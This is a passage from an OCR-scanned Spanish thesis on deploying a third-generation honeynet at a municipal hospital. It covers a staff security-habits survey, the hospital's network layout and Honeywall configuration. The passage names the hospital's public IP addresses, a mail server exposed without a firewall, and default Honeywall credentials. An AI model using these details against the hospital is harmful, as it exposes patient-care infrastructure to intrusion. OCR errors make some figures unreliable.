haciendo que este control sea mas dificil de ser detectado. Esto se logra
ofreciendo al atacante una mayor flexibilidad sobretodo en las conexiones de

salida que son las que nos ofrecen mayor informacion para ser analizada.
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Una de las ventajas de una honeynet de 2da generacién es que todas las
actividades de Control, Captura y Recoleccion de datos se las puede combinar
en un unico equipo o dispositivo hardware que actuard como puente o bridge de
capa 2, por donde circularda todos los datos a ser analizados. Al ser un
dispositivo de capa dos es hace mas dificil de detectar por cuanto no dispone
de una direccion IP (capa 3), no hay enrutamiento de trafico ni decrementos en
la latencia de los paquetes, lo cual lo hace mas invisible de los atacantes a
quienes le serd mas dificil detectar si su trafico esta siendo
analizadotraduciendose en una ventaja ya que toda la informacion cruza por el
dispositivo con lo cual se puede capturar tanto el trafico de entrada como el

trafico de salida en este dispositivo.

Ademas del control del numero de conexiones de la actividad no autorizada,
este dispositivo serd capaz de averiguar qué tipo de trafico es el que esta
circulando mediante la identificacion del tipo de acciones e intenciones que el
atacante ejerce con su actividad. Por ejemplo, el atacante puede realizar unas
20 conexiones FTP de salida, lo cual no representaria peligro alguno, pero si
tratara de ejecutar acciones de exploit sobre este mismo protocolo hacia
sistemas del exterior que no sean la honeynet (honeypots configurados); ésta
actividad se la considerara peligrosa y debera ser monitorizada y contenida con
lo cual se le dota de mayor inteligencia al sistema de control el cual permite la
salida del atague desde la honeynet pero sin ser efectivo; esto se logra
modificando los paquetes que atraviesan el bridge de capa 2 alterando la
informacion peligrosa, por lo que el atacante observara que el ataque se realiza

pero no entendera porque no obtuvo éxito con el mismo.

La capacidad de captura de datos mejora sustancialmente con referencia a la
generacion anterior, ya que antes se realizaba esta actividad a nivel de Red
mediante el uso de Sniffers, los mismos que actualmente han sido invalidados
ante la generalizacion del uso de conexiones cifradas. El proceso de captura de
datos actualmente se lo realiza a nivel del ndcleo del sistema operativo del

equipo que actua como bridge con lo que se asegura la captura de datos a
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pesar del protocolo cifrado utilizado para la comunicacién los mismos que
pueden ser IPSEC, SSL, SSH, entre otros. Una ultima consideracion en la
utilidad de esta generacion de Honeynet es la econdmica, ya que son mas

baratos de implementar.

Honeynets de 3da Generaciéon (GEN llI)

Esta version de Honeynet fue liberada en el afio 2004, posee una arquitectura
similar a las Honeynets de Il generacion con algunas mejoras en la interface de
administracion. La Unica diferencia entre una Honeynet de 3ra generacion con
una de 2da generacion radica en la implementacion dentro del Honeywall de un
servidor SEBEK (seat.massey.ac.nz, 2009), disefiado para capturar la mayor
parte de informacion de la actividad de los atacantes en los honeypots
implementados de una manera silenciosa e indetectable posible para su
posterior envio al servidor de recoleccion y almacenamiento de datos para su

posterior analisis.

Internet

INTRUSO

El intruso utiliza $5H para proteger la comunicacién
==« Unacopia de la actividad es enviada al Servidor SEBEK «««)» Honeywall
Gateway
|D| | | Servidor SEBEK

Honeypot A Honeypot B Heoneypot C

Grafico # 3: Diagrama del Proceso SEBEK

Fuente: old.honeynet.org, 2006



CAPITULO Il

DISENO E IMPLEMENTACION

3.1 Antecedentes

Como pasos previos al disefio e implementacién de la infraestructura Honeypot
en el Hospital Municipal, se realizara un estudio de las conductas informaticas

de los Usuarios internos.

También se realiza el analisis logico y fisico de la infraestructura de red actual y
pruebas de penetracion mediante Hacking ético con la finalidad de detectar sus

vulnerabilidades existentes.

3.2 Conducta informatica de los usuarios

Se debe conocer la conducta informatica de los usuarios de sistemas del
Hospital Municipal para establecer los patrones de actuacion de éstos respecto
a los equipos informaticos, sistemas, servicios y todo tipo de programas o
software ofrecidos a través de la Red Institucional para el desempefio de sus

funciones.

Es importante determinar los niveles de buenas y malas practicas informaticas,
tanto por usuarios experimentados como por usuarios inexpertos, las buenas
practicas deben ser potenciadas y las malas practicas deben ser eliminadas

pard asi minimizar el riesgo informatico atribuible a las acciones de los usuarios.

30
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3.2.1 Método de la investigacién

Se utiliza el método de investigacion Descriptivo — Cuantitativo para determinar
los patrones de conducta Informéatica de los usuarios informaticos y asi
determinar que conductas deben ser potenciadas y que conductas deben ser
corregidas.

3.2.2 Instrumento de recoleccién

El Instrumento de recoleccién de informacion utilizado es una encuesta.

3.2.3 Objetivo General

Determinar los patrones de conducta informatica de los Usuarios Internos del

Hospital Municipal Nuestra Sefiora de la Merced.

3.24 Objetivos Especificos

N° OBJETIVO HIPOTESIS

Conocer si los usuarios utilizan

1 |una o varias contrasenas para| Utjlizan varias contrasefias

los diferentes sistemas

Determinar si periddicamente

2 |se realiza el cambio de|s;jse cambia periddicamente
contrasefias




Conocer si se almacenan las

contraseflas en algun medio

Si se almacenan las

3 | . contrasefias en algun tipo de
fisico o virtual por parte de los .
medio
usuarios
Determinar Si existe
4 |comparticion de contrasefias |Si €xiste  comparticion  de
_ ) contrasefnas
entre varios usuarios
Conocer si  los usuarios
acceden a servicios en linea|Si acceden desde
5 . computadores en sitios
desde computadores de sitios| . P
publicos
publicos
Conocer si  los usuarios
6 No acceden a correo
acceden a correo no deseado electrénico no deseado
Conocer si existe reenvio de . .
7 No existe reenvio de cadenas
cadenas de correo electrénico |de correo electrénico
Conocer si los usuarios
g |publican informacién personal Si publican informacion
, personal en redes sociales
en redes sociales
Conocer si los usuarios instalan
9 |software  descargado  del | S| instalan software
, descargado del internet
internet
Conocer si los Usuarios utilizan| =~ _
. Si utilizan unidades externas de
10 | unidades externas de | aimacenamiento de
almacenamiento de informacién | informacion
Conocer si  los usuarios
bloquean su computado como
11 Si blogquean su computador

medida de seguridad cuando se

ausentan de su estacion

32
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3.2.5 Muestra

Para la realizacion de este estudio se tomard como poblacion al personal del
Hospital Municipal Nuestra Sefiora de la Merced que utilizan sistemas

informéaticos
Célculo de la Muestra

Para calcular la muestra se utilizara la siguiente férmula:

Ng2z®
(N—1)e?+ g2Z*?

n = el tamano de la muestra = ?

N = tamafio de la poblacion = 61

o =Desviacion estandar de la poblacién = 0,5.

Z = Valor obtenido mediante niveles de confianza (90%) = 1,65

e = Limite aceptable de error =9% (0,09)

n=36 Usuarios encuestados
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3.2.6 Encuesta de patrones de conducta informética de los Usuarios

Internos del Hospital Municipal Nuestra Sefiora de la Merced.

1) ¢Utiliza usted la misma contrasefia para varios sistemas o
cuentas?
OPCION PORCENTAJE | CANTIDAD
Sl 36,11% 13
NO 63,89% 23
TOTAL 100,00% 36

mSl mNO

Grafico # 4: Tabulacion Encuesta EO1 Pregunta N°1

Fuente: Encuesta. Elaborado por: El autor

Hay un 63,89% de usuarios que no utiliza la misma contrasefia en varios

sistemas o cuentas lo cual constituye una buena practica de seguridad ya que

con ello previenen que la seguridad de sus cuentas se encuentren protegidas
de mejor manera en el caso de que alguna de las contrasefias sea descifrada

con cual comprometerda solo a un servicio y no a todos, sin embargo es

necesario reforzar o dar a conocer esta buena practica en la totalidad de

usuarios.
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2) ¢,Con que frecuencia cambia la contrasefia de sus cuentas de

sistemas informéaticos?

m SEMANAL = MENSUAL

21
58%

OPCION | PORCENTAIJE | CANTIDAD

SEMANAL |2,78% 1

MENSUAL |25,00% 9

EVENTUAL |58,33% 21

NUNCA 13,89% 5

TOTAL 27,78% 36

NUNCA: 5 SEMANAL:

14% 1u MENSOUAL
o Y
EVENTUAL ,

EVENTUAL m NUNCA

Gréfico # 5: Tabulacion Encuesta EO1 Pregunta N°2

Fuente: Encuesta. Elaborado por: El autor

De acuerdo a los resultados obtenidos solo un pequefio porcentaje de usuarios,

25%, cambia sus contrasefias de manera periddica en un lapso de tiempo

aceptable (un mes), y la gran mayoria lo realiza eventualmente 58%, lo cual

constituye una debilidad dentro del esquema de seguridad logica de los

sistemas informéaticos, asi también un 14% de usuarios reconoce que nunca

cambia sus contrasenas.



36

3) ¢Almacena usted los nombres de usuarios y contrasefias en

algun medio (papel, archivo de texto, etc.)

OPCION PORCENTAIJE | CANTIDAD
S| 30,56% 11
NO 69,44% 25
TOTAL 100,00% 36

mSlI mNO

Gréfico # 6: Tabulacion Encuesta EO1 Pregunta N°3

Fuente: Encuesta. Elaborado por: El autor

A pesar de que un 69% de usuarios indica que no almacena de manera fisica

sus contrasefias en algin medio, existe un porcentaje importante que si lo hace,

lo cual constituye una falla de seguridad importante que en algin momento

puede comprometer algun servicio informatico.
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4) ¢Ha compartido con compaferos de trabajo o familiares las

contrasefas de sus cuentas de servicios informaticos? (Correo

Electronico, Redes sociales, Sistemas Informaticos)?

OPCION PORCENTAIJE | CANTIDAD
S| 27,78% 10
NO 72,22% 26
TOTAL 100,00% 36

mSlI mNO

Grafico # 7: Tabulacién Encuesta EO1 Pregunta N°4

Fuente: Encuesta. Elaborado por: El autor

Un porcentaje importante de usuarios, 28%, afirma compartir las contrasefias

de sus cuentas con una tercera persona ya sea en el trabajo o el hogar, lo cual
constituye una violacién expresa de la normativa interna que indica que las

contrasefias de las cuentas de servicios institucionales son de caracter personal

e intransferible.
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5) ¢Accede a sus cuentas de correo, redes sociales u otros
servicios como banca virtual, pago de servicios, etc. desde

servicios publicos de internet (cibercafés)?

OPCION PORCENTAIJE | CANTIDAD

S| 19,44% 7

NO 80,56% 29

TOTAL 100,00% 36

mSlI mNO

Grafico # 8: Tabulacién Encuesta EO1 Pregunta N°5

Fuente: Encuesta. Elaborado por: El autor

El 81% de los usuarios encuestados afirma que no accede a sus cuentas de
correo, redes sociales y otros servicios desde sitios publicos de acceso a
internet, lo cual constituye una buena practica de seguridad, quedando

Unicamente un 18% lo cual se considera un porcentaje bajo.
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6) ¢Descarga usted archivos adjuntos de un correo electrénico

cuando desconoce su remitente o no ha sido solicitado (SPAM)?

OPCION PORCENTAIJE | CANTIDAD
S 0,00% 0

NO 100,00% 36

TOTAL 100,00% 36

mSlI mNO

Gréfico # 9: Tabulacién Encuesta EO1 Pregunta N°6

Fuente: Encuesta. Elaborado por: El autor

La totalidad de los encuestados indica que nunca descarga archivos adjuntos

de correos de remitentes desconocidos o SPAM, constituyendo una fortaleza en

cuanto a buenas préacticas de seguridad.
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7) ¢Reenvia Cadenas recibidas en su correo electrénico?

OPCION PORCENTAIJE | CANTIDAD

S| 2,78% 1

NO 97,22% 35

TOTAL 100,00% 36

mSlI mNO

Grafico # 10: Tabulacion Encuesta EO1 Pregunta N°7

Fuente: Encuesta. Elaborado por: El autor

Practicamente la totalidad de los encuestados 97% indica que no reenvia
cadenas de correo electrénico, lo cual indica que existe cumplimiento a la

normativa institucional al respecto.



41

8) ¢Publica usted informacion personal en las redes sociales?

OPCION PORCENTAIJE | CANTIDAD

S| 19,44% 7
NO 80,56% 29
TOTAL 100,00% 36

mSlI mNO

Gréfico # 11: Tabulacién Encuesta EO1 Pregunta N°8

Fuente: Encuesta. Elaborado por: El autor

El 81% de los usuarios encuestados afirma que no publica informacion personal
en las redes sociales, lo cual constituye una buena practica de seguridad ya
gue se evita hacer publica informacién que podria eventualmente ser utilizada
para la realizacion de ingenieria social con fines especificos , quedando

Gnicamente un 18% lo cual se considera un porcentaje bajo.
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9) ¢Acepta la instalacion de actualizaciones automaticas o
software desde el internet en su computador personal o de

trabajo?

OPCION PORCENTAIJE | CANTIDAD

S| 22,22% 8

NO 77,78% 28

TOTAL 100,00% 36

mS| mNO

Gréfico # 12: Tabulacién Encuesta EO1 Pregunta N°9

Fuente: Encuesta. Elaborado por: El autor

La mayoria de encuestados 78% no instala actualizaciones ni software sugerido
en internet. El porcentaje de usuarios que si lo hace es menor pero no
despreciable 22%, lo cual indica que no se ha establecido correctamente los

roles y permisos a nivel de usuarios en el sistema Active Directory
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10) ¢Utiliza sus unidades de almacenamiento externos (discos
externos, memorias flash) en los equipos de computo de la

institucion

OPCION PORCENTAIJE | CANTIDAD

S| 36,11% 13

NO 63,89% 23

TOTAL 100,00% 36

mSlI mNO

Grafico # 13: Tabulacién Encuesta EO1 Pregunta N°10

Fuente: Encuesta. Elaborado por: El autor

El porcentaje de usuarios que no utiliza sus unidades de almacenamiento
externo 64%es mayor que el porcentaje de los usuarios que si lo hace 36%, se
debera realizar un analisis del grupo de usuarios que por necesidades el
desempeiio de su trabajo necesite utilizar este tipo de medios de

almacenamiento y transporte y cudl es el grupo que no lo necesita.
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11) ¢Bloguea su computador antes de ausentarse eventualmente de

su estacion de trabajo?

OPCION | PORCENTAIE | CANTIDAD
S| 41,67% 15
NO 58,33% 21
TOTAL 100,00% 36

mSI mNO

Grafico # 14: Tabulacion Encuesta EO1 Pregunta N°11

Fuente: Encuesta. Elaborado por: El autor

A pesar de que se ha socializado la necesidad de bloquear el equipo de

cOmputo cuando por diversas circunstancias los usuarios abandonan su

estacion de trabajo como medida de seguridad, existe un 42% de usuarios que

no lo hace, lo cual constituye un riesgo importante para la seguridad de la

informacion.
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3.3 Andlisis de la infraestructura existente

El Hospital Municipal Nuestra Sefiora de la Merced posee una red de datos con
una topologia de estrella, mediante la implementacion de un switch de ndcleo y
varios centros de distribucion interconectados por enlaces de fibra oOptica y

cobre.

3.3.1 Descripcion lared

El Switch de nucleo o Core implementado es un Cisco Catalyst 3560G de Capa

3, en el cual se ha configurado los siguientes servicios:

- Enrutamiento intervian.
- Protocolo DHCP.

- Enrutamiento Estatico.

Jerarguicamente la red tiene un disefio basado en la implementacién de
VLANS, de acuerdo al estudio realizado se ha determinado que en el Switch de
Nucleo se encuentran creadas 5 VLANS (1,10,20,30,40) siendo utilizada la
VLAN 1 para la administracion de los equipos activos de red y las restantes
para produccion, a pesar de esto, actualmente todos los equipos de la granja de
servidores y equipos clientes se encuentran ubicados en una unica VLAN 10,

dejando subutilizadas las restantes redes virtuales.

La conexidn a Internet se la realiza a través de un Router de Balance de carga
con dos interfaces WAN vy tres interfaces LAN, las interfaces WAN tienen
asignadas las direcciones IP 190.152.3.180 para el enlace ADSL con el ISP
CNT EP y 190.95.194.130 para el enlace con el ISP Telconet S.A, este equipo
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cumple la funcién de Gateway o Puerta de enlace a Internet mediante la
direccion IP 10.0.0.1/24.

Las interface LAN del Router de Balance de carga se encuentran asignados a
un segmento de red privado intermedio, al cual se conecta la interface WAN del
Firewall institucional instalado sobre un servidor Appliance NETCYCLON,
ademas se encuentra conectado directamente a este segmento de red un
Servidor de Correo Institucional fuera de una zona desmilitarizada y sin un

firewall intermedio.

3.3.2 Equipos activos de red

La infraestructura de red del Hospital municipal Nuestra Sefiora de la Merced
cuenta actualmente con un Switch de Nducleo, 5 Switches de distribucion
administrables y un switch de sub-distribucion no administrable, los mismos que

se detallan a continuacion:

SWITCH PTOS PTOS

N° CODIGO DESCRIPCION MARCA OCUP. LIBRES UBICACION
0 SC1 SWITCH CORE CISCO 3560 |19 9 RACK DATACENTER 1
1 SD1 SWITCH DISTRIBUCION 1 3COM 2948 |33 15 RACK DATACENTER 1
2 SD2 SWITCH DISTRIBUCION 2 3COM 2924 |10 14 RACK EMERGENCIAS
3 SD3 SWITCH DISTRIBUCION 3 3COM 2928 |21 7 RACK PB1
4 SD4 SWITCH DISTRIBUCION 4 3COM 2920 |11 9 RACK CAJA
5 SD5 SWITCH DISTRIBUCION 5 CISCO 330 6 22 RACK DATACENTER 2
6 SD6 SWITCH DISTRIBUCION 6 DLINK N/A 7 1 RACK PB1

Tabla # 1: Equipos activos de la Red

Fuente: El Autor
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3.3.3 Diagrama logico de la Red

SWITCH BALANCE ROUTER (BR) MAIL SERVER DB SERVER DESARROLLO FILE SERVER VIDEO SERVER IP PBX
TP-LINK TL-R480T+ Mail.hospitalmunicipal.gob.ec

INTER LAN 10.0.0.1 Q

¢

CNT TELCONET
190.152.3.180 190.94.194.130
ADSL F.O.

D

GADMA WIFI

Firewall- Proxy
CORE SWITCH CISCO 3560 (CS)

Trunk Link F.O. Trunk Li

N 3 Trunk Link Cu
Cisco 2810

GADMA @ @ §

SD1 3COM 2948SFP SD2 3COM 2924SFP g5 c1sCO SG300-28
DataCenter 1 Planta|Baja 1 DataCenter % (Quirofano)
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Antivirus Server
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(
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SD4 3COM 2928SFP
Planta Baja 3 (Caja)

Grafico # 15: Diagrama Logico Red

Fuente: El Autor

3.4 Implementacion de herramientas Honeypot

Una vez analizado el disefio de la red del Hospital Municipal, y las diferentes
generaciones de Honeynets, se ha establecido que una Honeynet de Tercera
generacion es la mas adecuada a ser implementada ya que su implementacién
y mantenimiento es una tarea mas sencilla que para una Honeynet de Primera
generacion, ademas de ofrecer mayor seguridad en los procesos de Control de
Datos y captura de Datos que evita que esta infraestructura deliberadamente
vulnerable sirva como plataforma de ataque a los sistemas de produccion del

Hospital.
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341 Disefio

Al disefio original de una Honeynet de Tercera generacion en la que es
necesario un enrutador para poder acceder a la interface de administracion del
Honeywall, se le ha realizado una modificacion que consiste en el incremento
de una tarjeta adicional de red al servidor para poder tener acceso a la consola
de administracion de manera directa.

De acuerdo al diagrama presentado a continuacion, se ha escogido el
segmento de red 10.0.0.0/24 correspondiente a la red de interconexion entre el
router de frontera de internet y el firewall corporativo, en base a esto se ha
definido las direcciones IP que seran configuradas en los Honeypots asi como

la interface de administracion.

.}
FEREWALL MRS |
Linin Beridos afhil = ath

HONEYPOT

&

&

ROUTER DE FROMTERA VMWARE Host-Cinty

aihl

EQUIFD VIRTUALIZADO

&

ADMINISTRACION HONEYWALL

Gréfico # 16: Diagrama Honeynet Propuesto

Fuente: El Autor

A continuacion se muestra la informacion de red para los dispositivos presentes

en la Honeynet propuesta.
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MAQUINA VIRTUAL | DIRECCION IP | GATEWAY DNS

M.V.
HONEYWALL 10.10.10.66/24 | 10.0.0.1 | 10.0.0.1

M.V. WINDOWS
X.P 10.0.0.20/24 10.0.0.1 | 10.0.0.1

Tabla # 2: Direccionamiento IP Honeynet

Fuente: El Autor

3.4.2 Requerimientos de hardware y software

Con la finalidad de realizar esta implementacién, y de acuerdo a las
experiencias obtenidas por el Honeynet Project se utilizard la herramienta
Honeywall proporcionada por el mencionado proyecto denominada ROO, la
misma que sera complementada por el Honeypot para Windows HoneyBot .

Tanto el honeywall como el Honeypot Windows seran instalados en una
maquina virtual; la herramienta de virtualizacion escogida es WMWARE
Workstation para su creacion y configuracion, posteriormente para su ejecucion
se utilizara VMWARE PLAYER PLUS por cuestiones de licenciamiento.

Toda la infraestructura de la honeynet se instalardA en un computador HP
6000PRO, procesador core i7 con 6 Gb de memoria RAM con dos interfaces
fisicas de RED

3.4.3 Configuracion de la Infraestructura virtual

Como pasos previos a la instalacion de la honeynet, se debera tener listo el
software de virtualizacibon VMWARE-Workstation, que es en donde se
procedera a la instalacion y configuracion del Honeywall y el Honeypot que
luego seran ejecutados en VMWARE PLAYER.
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En el software de virtualizacion VMWARE Workstation se debe configurar las
interfaces de red, dos interfaces en modo bridge (VMnet0, VMnet2) y una
tercera interface (VMnetl) en modo Host-Only. Las interfaces VMnetO y VMnet2
deberan ser asociadas a cada una de las interfaces fisicas de red del equipo
anfitrion. La interface 1 servira para conectarse al segmento de red en donde se
implementa la Honeynet a la cual no se le asignara ninguna direccioén IP y la
segunda interface VMnet2 la cual servirA para conectarse a la consola de
Administracion del Honeywall denominado Walleye, por dltimo la interface
VMnetl en modo Host-only servira para conectar el honeywall con el Honeypot

de acuerdo al diagrama propuesto.

= —
@ Virtual Network Editor =
Naime: Type External Connection Host Connection DHCP Subnet Address —
YiinetD Bridged Intek(R) 82579M Gigabit Me. .. -
VMinet 1 Cusbom . . . 10.0.0.0
WiinetZ Bridged Adaptador de escritorio Gig... - - - =
YMinet3 Custom . - - 192.168.68.0
YMinet4 Cusbom - - - 192.168.96.0
YMinetS Custom . = = 192.168.203.0
YMinets Custom . - . 192.168.5.0
YMinet7 Cushbom - - - 192.168.219.0
YMinets NAT MAT Connected Enabled 192.168.64.0 s
WhMinet Information
Bridged (connect ¥Ms directly to the extannal network)
Bridged to: | Inted(R) 82575LM Gigabit Network Connection
MNAT (shared host's IP address with YiMs)
2 Host-only (connect YMs internally in a privabe network)
Connect a host virtual adapter to this network
Hast wirtual adapter name: Yiviware Network Adapter YMnet 1
Us# local DHCP service bo destribute [P address to YMs
Subrest IP: 10.0 ,0 .0 Subnetmask: 255,255.255, 0
| Restore Defauk | oK || cancel || Apply || Hep |

Gréafico # 17: Interfaces virtuales VMWARE

Fuente: El Autor
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3.4.4 Instalacién y configuracion del Honeywall

Para la instalacion del Honeywall, se debe iniciar el Asistente de creacion de
maquinas virtuales de VWWARE, en donde es necesario indicar la ruta de la
fuente de instalacion del Sistema Operativo virtualizado, en este caso se
escoge la opcion para instalacion desde un archivo de imagen previamente
descargado de la pagina de Honeynet Project, a continuacion se seguira todos
los pasos, proporcionando la informacion solicitada en las secciones de usuario
de la maquina virtual, el nombre de la maquina virtual y el tamafio del disco

duro virtual.

Mew Virtual Machine Wizard %

Ready to Create Virtual Machine

Click Finish to create the virtual machine and start installing Cent05 and
then VMware Tools.

The virtual machine will be created with the following settings:

Mame: CentO5 &
Location: Ch\Users\DieguiniDocumentsi\Virtual Machines\Cer
Wersion: Workstation

m

Operating Syst.. Cent05

Hard Disk: 20 GE, Split
Memory: 1024 MB -
1 | 1] k

[ Customize Hardware, ..

Power on this virtual machine after creation

< Back ] [ Finish ] [ Cancel

Grafico # 18: Seccidn final del asistente de creacién de maquinas virtuales

Fuente: El Autor
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Una vez que se ha cumplido con todos los pasos del asistente, éste se
encuentra listo para realizar la instalacion con las configuraciones por defecto,
agui antes de continuar se debera realizar la personalizacion del hardware de la
maquina virtual mediante la Opcion “Customize Hardware” tal como se
muestra en el Gréfico #19, especificamente lo relacionado a las interfaces de
red, asociando la interfaz virtual 0 a VMnetO, la interface virtual 1 a VMnetl y

por ultimo la interface virtual 2 a VMnet2.

Hardware @[
Device Summary Memory
Specihy the amount of memory alocated to this virtual
ey 1024 M8 machine, The memary size must be a mukiple of 4 MB.
W processors ! Manicey for this virtual machine:
* M COMDYD (... Using flle C:\UsersiUsuarial. ..
1 r | 024 = vy
H Foppy Fusko detect s -
Fnetwork Adspter  Custom (WinetD) A & .
Weiscbwork Adapt... Custom (VMnstl) t 13
T : 2
WNetwork Adapt... Custom (Viinet?) A Guest OF recommendad mininum: SlzMB
@)UsE Contraler  Presen
@ Sound Card Buske detact A Recommended memory: 1024 MB
Bloizplay Augko devect A Wasdimum recommended memory: 2016 MB
(Memary Swapping may ooour beyond this size.)
Maimumn configurable memory: RTeaMB
Add...
o Carcel g |

Grafico # 19: Adicion y configuracion de las interfaces de red Honeywall

Fuente: El Autor

A continuacién se debera finalizar el asistente para que se inicie el proceso de

instalacion de la maquina virtual creada.
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The Ij!oneynet

P R = O

Honeynet Project Honegpwall Install COROM
ROO Uersion 1.4

LD L e e e Y D L T P R e
3 reeYY HARNING rreee £
# Contimuing will overurite existing Hard Drive(s) o
HERENENENREENRE NN ENENONE NN

Hit (return) key to overurite existing hard drive...

Gréfico # 20: 17 Inicio de la Instalacion del Honeywall

Fuente: El Autor

Luego de dar inicio a la instalacion del sistema operativo del honeywall, el
proceso tardara algunos minutos. Luego del reinicio automéatico de la maquina
virtual, se debera ingresar con el usuario por defecto “roo” vy la contrasefa
“‘honey” a continuacion nos cambiaremos de usuario con el comando “su —“y la

contrasena “honey”.

Una vez que se ha ingresado en el honeywall, aparecera el mensaje que nos
indica que aun no se encuentra configurado, antes de continuar es necesario
establecer los pardmetros necesarios para configurar correctamente el

Honeywall.

En la etapa de configuracion del honeywall, se establecen todas las direcciones
de red de los honeypots, segmentos de red, Interfaces de administracion,
permisos de acceso, también se configura los parametros que determinaran los
limites a las conexiones salientes para los diferentes protocolos, los permisos
de seguridad en el firewall, las acciones del IPS Snort incluido y los parametros

de escucha de los paguetes SEBEK generados en los Honeypots instalados.
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En la Tabla #3 se detalla la totalidad de los parametros que seran ingresados

en el asistente de configuracion.

PARAMETRO VALOR OBSERVACIONES
HONEYPOTS ADDRESS 10.0.0.20 Direccién del honeypots Windows
HONEYNET NETWORK CIDR 10.0.0.0/24 CIDR de la red de la Honeynet
HONEYNET BROADCAST Direccion de broadcast de la red de la
ADDRESS 10.0.0.255 honeynet

Interface fisica para el acceso a la
MANAGEMENT INTERFACE eth2 Interface de administracién
MANAGEMENT INTERFACE Direccion IP de la Interface de
ADDRESS 192.168.3.66 administraciéon
NETWORK MASK FOR THE
MANAGEMENT INTERFACE Mascara de Subred de la interface de

NETWORK MASK

255.255.255.0

administracion

GATEWAY ADDRESS 192.168.3.254 Direccion del Vlan Gateway
HOSTNAME administracion Nombre del Host de administracion
DOMAIN NAME hospitalmunicipal.gob.ec | Domino de internet configurado

Direccion del servidor de DNS a donde

DNS SERVER ADDRESS 10.0.0.1 apunta la honeynet
ACTIVATE INTERFACE Yes Activar la interface de administracion
START MANAGEMENT Iniciar la interface de administracion
INTERFACE NEXT BOOT Yes en el siguiente inicio del sistema
CONFIGURE SSH Yes Configurar acceso SSH
SSH PERMIT REMOTE ROOT Acceso remoto SSH con el usuario
LOGIN Yes root permitido

Cambiar la contrasefia del usuario
CHANGE ROOT PASSWORD Yes root
CHANGE PASWORD FOR ROO
USER Yes Cambiar la contrasefia del usuario roo
MANAGEMENT INTERFACE PORT
ALLOWED 443 Puerto permitido para administracién
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LIST OF IP ADDRESS THAN CAN
ACCES MANAGEMENT
INTERFACE

192.168.0.0/16

Listado de direcciones IP que pueden
acceder a la interface de
administracion

ENABLE WEB INTERFACE FOR

Habilitar el andlisis de datos a través

DATA ANALYSIS YES de la interface web de administracion
RESTRIC FIREWAAL OUTBOUND Restringir las conexiones salientes de
COMUNICATIONS YES la honeynet

TCP PORTS ALLOWED OUT

22,25,43,80,443

Puertos de TCP de salida permitidos

UDP PORTS ALLOWED OUT 53,123 Puertos UDP de Salida permitidos

La escala de tiempo de control de las
CONNECTION LIMIT SCALE hour conexiones de salida es por horas

Conexiones de salida TCP permitidas
TCP LIMIT 50 por hora

Conexiones de salida UDP permitidas
ICMP LIMIT 50 por hora

Conexiones de salida de otros
OTHER PROTOCOLS 100 protocolos permitidas por hora
FIREWALL SEND PACKETS TO El firewall permite el envio de
SNORT_INLINE YES paquetes al IDS snort_inline

Eliminar paquetes que coinciden con
SNORTV RULERSET DROP alguna de las reglas de SNORT
ENABLE BLACKLIST, WHITELIST NO Habilitar Listas negras y blancas
DISABLE STRICT CAPTURE Deshabilitar el filtro de captura estricto
FILTERING NO de datos
FENCELIST NO No habilitar la lista de defensa
ROACH MOTEL NO No habilitar Roach Motel
HONEYNET DNS  UNLIMITED
ACCESS YES
HONEYPOT  UNLIMITED DNS Acceso DNS ilimitado para Ila
ACCES YES honeynet
WHICH HONEYPOTS HAS UNLIMITED No determinar que honeypots tienen
EXTERNAL DNS ACCESS NO acceso ilimitado al DNS
RESTRICT WHICH DNS SERVER |YES Restringir que servidores de DNS

CAN BE USED FOR UNLIMITED

serdn utilizados para el acceso
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ACCES

ilimitado

LIST OF DNS SERVERS FOR

HONEYPOT USE 10.0.0.1 Servidor DNS

CONFIGURE SEBEK VARIABLES YES

DESTINATION IP SEBEK PACKETS | 10.0.0.100 Destino de los paquetes SEBEK
Puerto habilitado para los paquetes

SEBEK PORT 6969 SEBEK

SEBEK PACKET OPTIONS

4 ACCEPT AN LOG

Acciones sobre los paquetes SEBEK

Tabla # 3: Parametros de configuracion Honeywall

Fuente: El Autor

Al iniciarse por primera vez el Honeywall , automaticamente aparecera un Menu

con las diferentes opciones para administrar, y configurar el Sistema Operativo

y Honeywall. En caso de no aparecer esta opcidén se la puede ejecutar con el

comando “menu” en la Shell de comandos.

Honeywall CD
Main Menu

03 Administration

Honeywall Administration
Honeywall Conf iguration

Documentation
Exit

Check the status of your Honeywall.

Grafico # 21: Men( de Opciones para administracion del Honeywall

Fuente: El Autor
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A continuacién se escoge la opcion “Honeywall configuration” y se inicia
automaticamente el asistente inicial donde inicialmente se debe seleccionar la

Opcidén de configuracién “Interview” .

Una vez escogido el modo de configuracion se presentaran todas las opciones
en donde se debe ingresar todos los parametros previamente definidos en la
Tabla #3, el detalle de las pantallas de configuracion se lo puede observar en el
Anexo EO03.

Al finalizar el asistente de configuracion el sistema se reiniciard, durante este
proceso es posible que se produzcan varios errores en el inicio de algunos
servicios, lo cual es normal. Una vez que el aparece la Shell de comando, se
procede a ingresar nuevamente al menu de configuracion, en donde se puede

verificar parametros establecidos y si es el caso se los puede modificar.

Grafico # 22: Menu de configuracion manual de parametros del Honeywall

Fuente: El Autor
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Concluida la etapa de instalacién y configuracién del Honeywall, se procede a
ingresar a la consola Web de Administracién del Honeywall en un computador
diferente al utilizado para la implementacion de la Honeynet, conectado a la
interface eth2 el mismo que estara en el mismo segmento de Red en la que fue

configurada la consola de administracion.

&« C (X b#ps//192.168.3.66 or

The Hon

eynet Honeywall Login

’ FRCET

User Name:

Password:

Lagin

Grafico # 23: Ingreso a la Consola Web de Administracion Honeywall

Fuente: El Autor

3.4.5 Instalacion y configuracién del honeypot

Para el Honeypot , se debera realizar los mismos pasos descritos anteriormente
para la creacién de nuevas maquinas virtual en VMWARE Workstation, con la
diferencia que se debera disponer del Paquetes de Instalacion de Windows Xp
SP1.

Hay que tener en cuenta que la maquina virtual Windows creada debera tener
instaladas una unica interface de red asociada siempre a VMnetl, configurada
en modo Host-Only para que de esta forma se comunique con la interface

interna del Bridge creado en el Honeywall.
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Una vez creada la méaquina Virtual Windows XP, se debe configurar los

parametros de red previamente establecidos para este Honeypot, como se
muestra a continuacion:

Propiedades: Protocolo de Internet version 4 (TCP/IPwa) lllé]

General

Puede hacer que la configuracidn IP se asigne automaticamente sila
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cual es la configuracian IP
apropiada.

i) Obtener una direcddn IP automaticamente

i@ Usar la siguiente direccidn IP:

Direccion IP: o . 0 . 0 . 20
Mascara de subred: 255 . 255 . 255 . 0
Puerta de enlace predeterminada: o . 0 .0 .1

Obtener la direcddn del servidor DMNS automaticamentes
i@ Usar las siguientes direcciones de servidor DMS:

Servidor DMS preferido: o . 0 .0 .1

Servidor DMS alternativo:

